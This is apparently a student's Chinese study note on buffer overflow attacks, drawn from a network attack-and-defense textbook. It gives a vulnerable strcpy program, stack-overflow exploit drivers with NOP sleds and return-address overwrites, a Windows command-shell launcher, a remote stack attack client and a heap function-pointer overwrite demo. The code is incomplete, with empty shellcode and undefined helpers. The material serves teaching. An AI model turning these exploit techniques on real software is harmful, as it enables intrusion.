1.实践内容
1.1 软件安全概述
1.2 缓冲区溢出基础概念
1.3 Linux平台上的栈溢出与shellcode
有栈溢出漏洞的程序(在进行strcpy字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出)
#include <stdio.h>
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
getchar();
return 0;
}
- NSR模式实例
攻击代码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[];
int main(int argc,char *argv[]){
char buf[530];
char* p; p=buf;
int i;
unsigned long ret;
int offset=0;
/* offset=400 will success */
if(argc>1) offset=atoi(argv[1]);
ret=get_esp()-offset;
memset(buf,0x90,sizeof(buf)); /*用0x90即NOP填充buf */
memcpy(buf+524,(char*)&ret,4); /*覆盖RET返回地址*/
memcpy(buf+i+100,shellcode,strlen(shellcode)); /*程序跳转到NOPS “着陆区”*/
printf("ret is at 0x%8x\n esp is at 0x%8x\n", ret,get_esp());
execl("./vulnerable1","vulnerable1",buf,NULL); /*执行漏洞程序*/
return 0;
}
- RNS模式实例
攻击代码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[];
int main(int argc,char **argv){
char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf)); /*用0x90即NOP填充buf */
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode)); /*复制shellcode*/
execl("./vulnerable2","vulnerable2",buf,NULL); /*执行漏洞程序*/
return 0;
}
- Windows本地Shellcode程序(c语言)
使用LoadLibrary()函数加载msvert.dll动态链接库,通过GetProcAddress()函数获得system函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system()函数,启动命令行Shell,最后还要调用exit()退出当前进程。
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
MYPROC2 ProcAdd2;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
char sysbuf2[5] = "exit";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC)GetProcAddress(LibHandle, sysbuf);
(ProcAdd)(cmdbuf);
ProcAdd2 = (MYPROC2) GetProcAddress(LibHandle, sysbuf2);
(ProcAdd2)(0);
}
1.4 Windows平台上的栈溢出与shellcode
- Windows远程栈攻击示例
首先创建了一个客户端socket,并连接目标漏洞服务程序所监听的IP地址与端口;缓冲区的大小是1024,首先填充了一段Nop指令;在事先计算好的返回地址位置上放置了一个指向“JMP ESP"指令的地址,该指令地址在不同的目标程序运行系统上是不一样的,由攻击者通过在各个系统环境中调试获得。
int main() {
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff; send(sockFD,sBO,56+4+560,0);
closesocket(sockFD);
WSACleanup();
return 1;
}
1.5 堆溢出攻击
- 函数指针改写示例
#define ERROR -1
#define BUFSIZE 16
int goodfunc(const char *str)
{
printf("\nHi, I'm a good function. I was called through funcptr.\n");
printf("I was passed: %s\n", str);
return 0;
}
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>\n", argv[0]);
exit(ERROR);
}
printf("system()'s address = %p\n", &system);
funcptr = (int(*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %p\n", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
printf("after overflow: funcptr points to %p\n", funcptr);
(void)(*funcptr)(argv[2]);
return 0;
}
1.6 缓冲区溢出攻击的防御技术
2 总结
原理还是有些难懂,有的图也不是很清晰,看到有更清楚的图,结合着在理解遍一下。
3 参考文献
- 《网络攻防技术与实践》(诸葛建伟著)